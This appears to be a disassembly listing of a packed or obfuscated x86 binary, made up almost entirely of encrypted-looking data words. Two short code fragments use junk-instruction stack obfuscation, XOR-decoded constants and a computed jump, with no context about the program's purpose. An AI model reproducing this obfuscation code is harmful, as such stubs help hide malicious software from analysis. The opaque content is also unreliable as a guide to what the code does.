		dd 8123B05Ch, 62423FA9h, 0B2305CC5h, 95C87DF0h,	1A000000h
		dd 0A537A0B3h, 0B593F1ECh, 49E3C137h, 92C2C2BFh, 50522873h
		dd 0E2084498h, 99B31D90h, 419E07DFh, 25287392h,	3F9B6B11h
		dd 3683631Dh, 0A3497B22h, 464A43D1h, 0ADCF6DA7h, 55C26D00h
		dd 387829C3h, 10287392h, 23A17DFFh, 0EFF93173h,	6415FCB2h
		dd 92723030h, 336E1426h, 20831673h, 4F47079Dh, 0B0E73FCDh
		dd 0B2CC6EF6h, 74985052h, 0D84FEAD5h, 0E70864Eh, 7A19AC36h
		dd 0E9F8AF22h, 89F8EE4Ah, 28738813h, 0A5D77BE3h, 7203A14Dh
		dd 0B5C768F4h, 2D9F5B69h, 0A537A0B3h, 4D48B6ECh, 0D4287A38h
		dd 8D2052F8h, 49590923h, 38E935CBh, 1FDDF6E7h, 854FEE02h
		dd 0C76D0277h, 0F4513E62h, 0F75FCF66h, 0BEC41860h, 0CEB44672h
		dd 0FF39D3D3h, 0D1673D10h, 0B4F4AD47h, 5C10FF39h, 1AB6EA46h
		dd 18B4880Ah, 12BE86F4h, 0C6A383FDh, 54CF2BD2h,	0BD5F8930h
		dd 0E29F29C3h, 10FF39A2h, 14E86ABAh, 549C068Eh,	334DEF49h
		dd 12920F99h, 210FF3Ah,	1B9B16A0h, 0F510FF3Ah, 0B82F43AFh
		dd 0Ah,	0AD254CAh, 3B4995E7h, 0A14ACDFFh, 0A9430FD7h, 0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h, 575E55A9h, 0C781E789h, 4, 8704EF83h, 895C243Ch
		dd 89512404h, 4C181E1h,	83000000h, 0C8704E9h, 34895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 259D5101h
		mov	esi, 226D2D2Fh
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		daa
		and	dword ptr [ecx-7C686E11h], 0A2CF3061h
		sub	esp, esi
		mov	eax, 7F08149h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 91h
		dd 7863834Ah, 0AB79A434h, 301F4D0Ah, 293F4D6Ah,	4A626AE0h
		dd 0E568575Eh, 6C2FC032h, 5008F3A4h, 0BF49D9ADh, 0B83DDC96h
		dd 0B038F6AEh, 0AE0AF1D1h, 4F4787E7h, 8270B9CCh, 35483444h
		dd 0B057A24Ah, 0E9305D08h, 16h,	7330A44Fh, 4 dup(0)
		dd 48E90000h, 17000005h, 5FF97404h, 802CC1BBh, 37610C6Eh
		dd 64D05DDFh, 920AABD1h, 64102595h, 0B6366FC9h,	27A9D3Fh
		dd 492BC173h, 0AAE7C3A4h, 286C42EAh, 4AB2102Ah,	0A944D6A0h
		dd 0E8A87F65h, 0A2FE3A38h, 0AA4F0316h, 7B13CD2h, 0DC98BDF5h
		dd 30DAF64Eh, 319B446h,	6F112782h, 8C780D97h, 4707965Ch
		dd 94634E65h, 0EBE73BF7h, 0ECE93547h, 8955A148h, 0FCD81064h
		dd 56391B5Eh, 0CDCFCDECh, 4C3EDB38h, 0B54B71CBh, 0AE17AE38h
		dd 691F67F4h, 0C869BA16h, 0EA9F683Dh, 0FB85AA0Eh, 4739DE7Ah
		dd 914A18B5h, 0B4CDDAD3h, 0B1C97C21h, 0FB371CDDh, 9BBD19A7h
		dd 74AD09E1h, 0AFFB2CF0h, 0F81EEE16h, 5BCE0989h, 0C990B30h
		dd 2D0553F5h, 4BEC18C1h, 0B589F307h, 0CC3B7B28h, 80160D04h
		dd 3BD143F2h, 0A13CE539h, 59305BDEh, 507CC0B4h,	6864B8BAh
		dd 0A6EEB5C7h, 9E72FB07h, 0B85F07FFh, 0F99D74C7h, 0E87E0A94h
		dd 0B4418300h, 5CF68431h, 5BFD6525h, 0D2C3AF30h, 62F0F252h
		dd 705B96h, 0B24B0000h,	0E2B2C85Dh, 0AB8705Bh, 70C4DC78h
		dd 4143A321h, 995153B3h, 0C66B1F3Dh, 25DC20B6h,	305CC563h
		dd 0E90DAC40h, 79B1CB6Dh, 30E07A4Ah, 3726BF84h,	0A180EC65h
		dd 10BA692h, 5F000000h,	8D4A64Ah, 72D2A84Ch, 70CC4E46h
		dd 7ACAB044h, 78C4465Eh, 3EBC5DA3h, 10D4759Fh, 51EC7EFCh
		dd 0C481508Ch, 9F62CE02h, 0CBB5470Fh, 0D7A14B6Fh, 0A74AE45Eh
		dd 0A94D09D5h, 0B34773D3h, 0B45975C9h, 61AF7CC0h, 236D3AB8h
		dd 0D1AB4E7Ah, 1C5AF05Ch, 5CC52565h, 6F83EF30h,	1DB3310Dh
		dd 0F51BB78Fh, 61FBB8Bh, 0FC12BE86h, 3CAE2985h,	0E2709EE6h
		dd 0CC6D6702h, 0EF8EB22Eh, 312EC232h, 613C84h, 4A860000h
		dd 4D09D5A7h, 400DD1ABh, 36DB0DACh, 973FAF46h, 0A321FD7Fh
		dd 0AECE6357h, 0ADBD4856h, 1E05A8CEh, 0F5189809h, 0AAF8305Bh
		dd 0A8F8DC14h, 5EE2DA2Ah, 0AA9262BFh, 55EC8431h, 0F6000000h
		dd 0A0D1A74Ah, 305CC4E0h, 0DC7230h, 0A4DDA3B4h,	305CC4E4h
		dd 0CDAF402Ch, 0A855A93Fh, 2EC305A4h, 4A63A74Eh, 9908D4A6h
		dd 305CC53Eh, 8152FB1Dh, 8430E03Fh, 67275AF4h, 0A9305CD1h
		dd 11E23FFBh, 0E4000000h, 0E6485349h, 0F88D919Dh, 2F9A2DB5h
		dd 8D3FFB2Eh, 0ADAA44Ah, 72D2AC4Eh, 30C5811Dh, 62EAF844h
		dd 1945ADCFh, 0EEA2B470h, 0DAE834B6h, 5CA02272h, 6A3DB046h
		dd 34CE58CFh, 0C4A7E79Ah, 3C69305Ch, 0F7158C00h, 0BB770512h
		dd 0B4E24FCAh, 9CB11D37h, 6C10D8h, 6EF88EECh, 0E2DDDDD4h
		dd 6D372872h, 0CF6D6985h, 3EA600ADh, 0BC3E561Ah, 39CC6260h
		dd 0C77263EFh, 0B367D307h, 3044E999h, 0E176D6ECh, 4C35099Fh
		dd 2872EA4Ah, 0D014B5DFh, 1BB5383Ah, 13BF87F1h,	0D4A77FF9h
		dd 58F501A8h, 0F9A0B7FFh, 0C5F139F6h, 1BA84537h, 8C1A44A9h
		dd 4A34C68Eh, 0ED00E8FAh, 105h,	37A0B3F5h, 0A9430BA5h
		dd 0DB6D77CFh, 5CC4E6A6h, 0BC742E30h, 0B599CECDh, 865E4437h
		dd 73336EF8h, 9D28739Ah, 0C8B04707h, 0D4A6B460h, 235DFF59h
		dd 1B65F7C3h, 6D0C70CBh, 55E791BBh, 0CE166689h,	0D0717CB4h
		dd 8C1A0AF0h, 3B0Eh, 0BAB35400h, 0C6E69B2Dh, 4EB05CC4h
		dd 0FB00953h, 5C9B1292h, 15A002B0h, 0CF5DCA4Fh,	0A10E8E77h
		dd 0DF01B05Ch, 6DFA733Eh, 0A106A6DBh, 0A20E305Ch, 9012F28Ch
		dd 7EDA7302h, 64000000h, 0F3B3EE78h, 1D305CC4h,	30FB3F80h
		dd 45DB777Bh, 0B22530EDh, 836E6918h, 5E4437B5h,	826DF886h
		dd 0DEE79700h, 47D5C129h, 0FE1CB835h, 0BE26A07Ch, 1222E198h
		dd 0F4EA1AF7h, 0DEFB8A66h, 49287303h, 0C862A647h, 0DA707AEh
		dd 73041494h, 0EFA2FC28h, 287303AFh, 45AD4361h,	801A8DA8h
		dd 6381CF11h, 1FE7BD30h, 7DF99B3h, 624DEC10h, 0B8C256F7h
		dd 3EC85E64h, 72FF8143h, 18950F28h, 37A0B3AAh, 42EAECA5h
		dd 0FCA6384Dh, 7C0FD36Ah, 0D3BED50Eh, 0E3E13D3Fh, 1498894Dh
		dd 227EBAC8h, 7BFA8496h, 0FD4133D9h, 0A5D77BE3h, 409DBC4Dh
		dd 98BC7CACh, 5B2537F1h, 0BDF105C1h, 8002E29Ah,	589012F2h
		dd 0EB0DC955h, 0DF7D5991h, 12920F99h, 2B3AC42h,	41B1F1A0h
		dd 4163B3ACh, 128F19B3h, 0B3AC4192h, 94C82082h,	9A6AE838h
		dd 0AE8C1965h, 7799E87h, 0ED10A53Fh, 7CFC13B8h,	0A48C22A0h
		dd 0C5579138h, 12AC3ABBh, 0AC721F9Fh, 47B3F1B3h, 67BFB953h
		dd 370h, 0F6549200h, 0FD7A14Ah,	77CFA943h, 78C4B45Bh, 7FC7455Ch
		dd 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h
		dd 2541685Eh, 0C890000h, 0E996824h, 3C890000h, 63FB6824h
		dd 2C890000h, 0E6B85024h, 2D49A04Dh, 41AFCB89h,	48BC789h
		dd 4C48124h, 68000000h,	66A1h, 83242489h, 5D042404h, 7E6D68h
		dd 243C8900h, 8B08458Fh, 8951242Ch, 4C181E1h, 83000000h
		dd 0C8704C1h, 34FF5C24h, 0C4815F24h, 4,	0F8F429E9h, 8BFE0FFh
		dd 7A84256Ch, 0B804378Fh, 7F08733h, 0E0FFC503h,	1F6DBE75h
		dd 1AF67D05h, 7E480F27h, 69A5EEA0h, 19A03821h, 495F20Eh
		dd 3A910FACh, 23E7A71Ah, 4F9BBBFCh, 1D68AA07h, 0BB212FCh
		dd 728E4FE2h, 542BF06Fh, 1519FDDBh, 6C815FFh, 584E63B5h
		dd 1BAFE5DDh, 32FD6ADAh, 6D2AEE69h, 5A7460B4h, 6FB06DB8h
		dd 6F8AECFh, 3A88DC9Ah,	0F406BACh, 79C03B86h, 371E0902h
		dd 70E847B8h, 1FFDFC9Dh, 9EB646h, 590E014Ah, 7E0B3BECh
		dd 0BD83C08Bh, 7E918A5h, 83097500h, 0E91A45BDh,	19740007h
		dd 0C08B5350h, 421B8h, 0F9858900h, 8D07E911h, 0EBD7CE9Dh
		dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h, 421B8h, 0F9858900h
		dd 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 8BC08B58h,	0E9120D9Dh
		dd 5985C607h, 5607E926h, 0A8B85268h, 11B5FF9Ch,	8D07E90Bh
		dd 0EC9FDB85h, 6AD0FF07h, 10006804h, 0B5FF0000h, 7E92F59h
		dd 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 158D8D00h,	0FF07E96Eh
		dd 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h
		dd 7E92089h, 0E840F00h,	8B000000h, 0E920899Dh, 0D858B07h
		dd 8907E902h, 8D525103h, 0E9772D85h, 8BD0FF07h,	8BF18BFAh
		dd 0F3C88BD1h, 5985C6A4h, 5607E926h, 1F6D3968h,	11B5FFD4h
		dd 8D07E90Bh, 0EC9FDB85h, 68D0FF07h, 8000h, 0FF52006Ah
		dd 83C08BD0h, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h
		dd 8B535019h, 421B8C0h,	85890000h, 7E920F5h, 0D8359D8Dh
		dd 0D3FF07EBh, 0BD83585Bh, 7E91A45h, 50177400h,	421B853h
		dd 85890000h, 7E920F5h,	0D4D69D8Dh, 0D3FF07EBh,	0C08B585Bh
		dd 20899D8Dh, 38B07E9h,	840FC00Bh, 7, 5B8B038Bh, 0B8188904h
		dd 4B41h, 14E8h, 0D3472A00h, 0D70EDAF0h, 0AE46B9BFh, 0C3169385h
		dd 2A7983EFh, 1A02BAA1h, 515F229Dh, 815EF78Ah, 701AC7h
		dd 38D0F00h, 0F000000h,	0B9C0B7h, 81000000h, 374E24E0h
		dd 0F1C8B6Dh, 81D18B66h, 931B14C3h, 35EB810Dh, 66179BC0h
		dd 0C381C38Bh, 33C9AA12h, 6FCDF081h, 66533B1Ah,	0B59BEA81h
		dd 0F0F048Fh, 14E9F1BFh, 0F3000000h, 38A10075h,	4645F240h
		dd 5E263AA2h, 0E598B664h, 81B4D0B2h, 0CF9A9EE9h, 81D68B04h
		dd 0CF9A9AC1h, 0E8F56004h, 6, 0F2FBE9F9h, 0CF8AA3BEh, 0F981615Ah
		dd 0FFFF90D4h, 15850Fh,	0E9FC0000h, 43h, 0F64F42D6h, 0D77F8448h
		dd 0B40E39B6h, 60F3CFE7h, 67EE8166h
		dd 0C6806060h, 0FE8D2h,	72820000h, 0C1C58550h, 977B4A7Fh
		dd 9874E1FDh, 61615F43h, 0FFFF54E9h, 749DC6FFh,	743A88D4h
		dd 93DF5D5Bh, 0E8944FD0h, 5, 0E3CFD71Eh, 0D5BB6683h, 81665A09h
		dd 81EDF8E8h, 0E987C2h,	75BF6600h, 0BE07h, 13E90000h, 18000000h
		dd 0D87E9E9Bh, 0F0A57E35h, 0D7EB1E9Ch, 46DB3812h, 34FFE068h
		dd 0CBB86616h, 0BE8590Ah, 8C000000h, 0A408678Eh, 8DF01C83h
		dd 8B0FE8A8h, 6, 860Fh,	815F0000h, 954560C1h, 2890F1Eh
		dd 8B000000h, 1DC181C2h, 0F571D44h, 58Fh, 0EF816600h, 0F181A1E1h
		dd 26805D2Dh, 0A311BB66h, 44E88151h, 8F159EC8h,	0D7813204h
		dd 77A65ACEh, 74B96660h, 8161F95Bh, 2B933BEEh, 0B0EC8054h
		dd 9337C681h, 0BE9542Bh, 4000000h, 0A2F76793h, 59E36D41h
		dd 0FE81D305h, 0FFFF1750h, 0FF70850Fh, 0DE8FFFFh, 0CC000000h
		dd 0C89E1DC3h, 0EF76AACFh, 738FF6DCh, 555FE78Ah, 5E75FDEDh
		dd 0A476F67Ah, 0BC56E669h, 638FD49h, 299EFD25h,	3EDFFD25h
		dd 0B23DFD25h, 772FFD25h, 9505FD25h, 0E4E2FD25h, 5CC3FD25h
		dd 0BEFD25h, 29E5FD25h,	3EB2FD25h, 0B417FD25h, 7070FD25h
		dd 9251FD25h, 0E332FD25h, 5AFEFD25h, 642FD25h, 259DFD25h
		dd 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh,	2775FD7Ah
		dd 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh
		dd 0BC75FC7Bh, 5E75FD7Ah, 5176FD7Ah, 4A75A23Dh,	0CB75A232h
		dd 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 23F0701Ah
		dd 0A6720DF5h, 67FE49FFh, 58F0707Dh, 6C720DF5h,	2FE89FFh
		dd 0A8F0707Dh, 35720DF5h, 0AEFE4DFFh, 1EF0707Dh, 1E720DF5h
		dd 3BFE85FFh, 15F0707Dh, 7B720DF4h, 89FE81FFh, 32F0707Dh
		dd 0D7720DF7h, 0DFFE7DFFh, 37F0707Dh, 42720DF7h, 15FE79FFh
		dd 44F0707Dh, 0F0720DF7h, 4CFE75FFh, 4FF0707Dh,	0A6720DF4h
		dd 67FE69FFh, 16F0707Dh, 6C720DF7h, 2FE71FFh, 85F0707Dh
		dd 35720DF7h, 0AEFE6DFFh, 3EF0707Dh, 1E720DF4h,	3BFE69FFh
		dd 0AEF0707Dh, 7B720DF4h, 89FE59FFh, 0D6F0707Dh, 0D7720DF4h
		dd 0DFFE55FFh, 1AF0707Dh, 42720DF4h, 15FE51FFh,	24F0707Dh
		dd 0F0720DF4h, 4CFE65FFh, 53F0707Dh, 0A6720DF5h, 67FE61FFh
		dd 63F0707Dh, 6C720DF5h, 2FE5DFFh, 34F0767Dh, 3572145Bh
		dd 0AEFE10FFh, 3AF0767Dh, 1E721465h, 3BFE0CFFh,	0B0B69C7Dh
		dd 0F29D11F1h, 2375FD7Ah, 317417FBh, 0D525FA8Ah, 0ADFDF53Fh
		dd 90857696h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 9E987C27h, 0A0720DF7h, 0DFFE8EFFh, 0E4C87D7Dh, 0CF720DF1h
		dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 4CFE0CEFh, 96FEBD7Dh
		dd 2F7A452Bh, 28AFD7Ah,	0CC85768Bh, 6E0148F7h, 0C6F8FA8Ah
		dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 9085768Bh
		dd 400148F7h, 0D1F8FA8Ah, 228A50FCh, 87BC1F23h,	4CFE8EF7h
		dd 52DA07Dh, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah,	708A5779h
		dd 0F5857697h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h,	0D0DE9B59h
		dd 67FE10EFh, 8DE9B7Dh,	0E5779592h, 0F3360B7Ah,	866E8872h
		dd 4CFE10EFh, 54C54D7Dh, 0BA8AAD79h, 90857697h,	2BF69B20h
		dd 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h,	652FFD7Ah
		dd 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h
		dd 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh,	7FA916D0h
		dd 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h
		dd 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh
		dd 79986885h, 1F2FFA8Ah, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h
		dd 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah
		dd 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
		dd 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch,	0EE75FD7Bh
		dd 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h,	0FA74BE8Ch
		dd 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h
		dd 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 89FE0CEFh,	4C0707Dh
		dd 5D720DF1h, 2C7F518Ah, 7AE002D0h, 8720DF1h, 0E574E592h
		dd 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h,	2C7FA5CAh
		dd 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh
		dd 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h,	0CB750C92h
		dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
		dd 252D4D7Ah, 69B65779h, 3BFE97FFh, 8FC87D7Dh, 0F3720DF1h
		dd 0FCF8EC0Fh, 0BB8576A6h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
		dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 4CFE97F7h
		dd 34C87D7Dh, 2F720DF1h, 12F8F10Fh, 0CC8576A6h,	0E4DE152Ah
		dd 4AB6FD7Ah, 7975FD7Eh, 37846885h, 0C3F8FA8Ah,	28856D43h
		dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah,	0BB5E3AF1h
		dd 357115F9h, 0CB8A3E78h, 28857697h, 96514ACEh,	74C1FF0Eh
		dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
		dd 25B5F179h, 68B65778h, 3BFE10EFh, 0EA917D7Dh,	42F539FAh
		dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
		dd 0CB7345B9h, 708AFD7Ah, 0F585768Bh, 0F2A560F7h, 0A0F8FA8Ah
		dd 4ECD3E39h, 0D075FD7Ah, 67FE0CEFh, 0CEB57E7Dh, 1A8935F1h
		dd 2FE10EFh, 8E97577Dh,	43BE15B9h, 1DFF0285h, 5A72D97Bh
		dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
		dd 0BC9D9D86h, 475FD7Ah, 0BF3C17FBh, 0EAFCFA8Ah, 27CF7D86h
		dd 0E5720DF1h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 0AEFE0CE8h
		dd 0ADFCBD7Dh, 9085768Fh, 79F835F1h, 0E2856C67h, 79986F85h
		dd 7FFDFA8Ah, 4801F3Ch,	5E75FD6Dh, 0A4807F79h, 1A35FA8Ah
		dd 3BE4ECE0h, 0E1B67E7Dh, 4B22FEF3h, 7975FD64h,	37807779h
		dd 0ECF8FA8Ah, 28856D85h, 2F2B5989h, 0CB75FD72h, 6E846F85h
		dd 0AF6FA8Ah, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah,	0F7C3F24Bh
		dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
		dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
		dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
		dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch,	0F2B6AD3Ah
		dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
		dd 3BE4CD90h, 1CCF707Dh, 79720DF1h, 71CCF50Fh, 4F75FD7Ah
		dd 9CBC9CDEh, 0A226FD7Eh, 67FE04E7h, 0D3497D7Dh, 0BE71887Bh
		dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 0BE1C17FBh
		dd 25F8FA8Ah, 0CC857683h, 5C7D80F1h, 0F275FD72h, 0B0145989h
		dd 0DC75F9B8h, 0D58C40F7h, 0EF46FA8Ah, 9775F5C3h, 0AADF0E7Ah
		dd 58F89DB9h, 0F5857683h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
		dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 6E8C40F7h,	0F3CDFA8Ah
		dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 1B7378F7h
		dd 0D08AFA8Ah, 0CAFECA8Bh, 0A80E72F8h, 8A4AFB7Fh, 0A80E73C7h
		dd 75EAD5ABh, 0A80E739Fh, 8A4AF865h, 57AE5DBAh,	8A4AF8D2h
		dd 0A80E708Fh, 75EAD5ABh, 0A80E7156h, 8A4AF900h, 0A80E71D0h
		dd 8A4AF982h, 0A80E764Ah, 75EAD5ABh, 0ABD42F25h, 312DAC7h
		dd 58C078C0h, 0FB90A753h, 215652D6h, 7A84F4D1h,	60D42F42h
		dd 312DAC7h, 58C040C0h,	0AA90A753h, 215652D1h, 7A84C0D1h
		dd 0DFD42F42h, 312DAC0h, 58C04CC0h
		dd 4690A753h, 215652D1h, 7A84DCD1h, 0B8D42F42h,	312DAC1h
		dd 58C058C0h, 0D390A753h, 215652D0h, 7A8728D1h,	32D42F42h
		dd 312DAC1h, 58C3A4C0h,	5190A753h, 215652D0h, 7A8720D1h
		dd 0B4D42F42h, 312DAC2h, 58C3ACC0h, 0DF90A753h,	215652D3h
		dd 7A8738D1h, 12B8C342h, 0DF152A50h, 6CD24ECEh,	8AFD4AA8h
		dd 0F251A245h, 18A8C0D5h, 0ED96A5B5h, 8A152AA8h, 0A0242945h
		dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh
		dd 3AAE63CEh, 8DFC3541h, 0AB534284h, 0FFEA2211h, 0A4245D55h
		dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h
		dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h
		dd 27BFEA66h, 0BFDB2FEEh, 7512DAD9h, 2011294h, 702A0D9h
		dd 79AEA5B5h, 0AE51A1ECh, 22DC0941h, 8DE5A743h,	103773BAh
		dd 21732ADFh, 254628C8h, 5BEA2DA4h, 8C152BFDh, 988150h
		dd 0AFA12F52h, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 1968C0D5h
		dd 0DDDAA5B5h, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 891C30BAh
		dd 529E2DBDh, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 702A0D9h
		dd 79AEA5B5h, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8A15C234h
		dd 290BA245h, 7A86FEBEh, 0A0242942h, 4D1957DFh,	0A8515E00h
		dd 75532A54h, 4170EFD7h, 19CDA153h, 9BFC69CEh, 0E2A5B997h
		dd 0F9FA31EFh, 702A0D9h, 79AEA5B5h, 20949A0Dh, 8C651A23h
		dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h
		dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h
		dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h,	2851A245h
		dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h
		dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh,	0ED96AE38h
		dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch
		dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h
		dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh
		dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
		dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh,	85E1D4h
		dd 22DC0886h, 8DE5A743h, 0F8E173BAh, 9D9FA7FEh,	575652C8h
		dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h
		dd 75152A54h, 414EB7D7h, 20452653h, 254628C8h, 5BEA2DA4h
		dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h
		dd 0A42C294Dh, 8AE96F93h, 451A245h, 0C787D5FEh,	23564B64h
		dd 4917868Ch, 0BFDB2FEFh, 7512DAD9h, 28E9C494h,	0BE4CBDh
		dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh,	2BBD2910h
		dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h,	18EA80F8h
		dd 0AFB88308h, 58B9E2DFh, 32DC0885h, 8DE5A743h,	103771BAh
		dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h
		dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
		dd 75BF8654h, 4170EFD7h, 26DDA153h, 25FB6377h, 7A983DCEh
		dd 0CE825D42h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h
		dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h,	4D1957DFh
		dd 0A8515E00h, 32732A54h, 3376B77h, 702B0D9h, 7BAEA5B5h
		dd 4B959232h, 4FD0923h,	866801FEh, 0C9ADDFCCh, 43E96FDFh
		dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h
		dd 0EC152A54h, 0CEB824FDh, 9D8FA7FFh, 575652C8h, 20A09A87h
		dd 25FB0E03h, 7A983DCEh, 0CE825D42h, 0ECD8ACECh, 0A42C89EEh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 1CB0C0D5h, 0ED96A5B5h, 8A152AA8h, 0A0242945h
		dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h
		dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h
		dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh,	8660D554h
		dd 2559D7BAh, 7A84F0CEh, 32DCF142h, 8DE5B8E5h, 0EDD871BAh
		dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 39BB38C8h,	7462DA4h
		dd 58C313DFh, 3C6D553h,	92B85E00h, 75152A54h, 0DDAEAE30h
		dd 7C8FA75Ch, 0FB5652D4h, 18A4B0D9h, 7BAEA5B5h,	63E96FDDh
		dd 0A851A258h, 75195FABh, 32DCAA30h, 8DE5B856h,	19CB2F16h
		dd 7512DAC6h, 54142B96h, 8A152ABDh, 0EDDAC345h,	82D7E3A8h
		dd 3044BA45h, 0FE90000h, 1A000000h, 2F0D5Dh, 2 dup(0)
		dd 49E90000h, 0C3000005h, 0BA54828h, 0BC1895E7h, 0E34DE09Ah
		dd 10BC31B3h, 66F67FFDh, 383CD1C1h, 8A0A1BB5h, 0D6A649EBh
		dd 1D5FFD5Fh, 0FEB3EF90h, 286C2DBEh, 4A462456h,	0AA44D6A0h
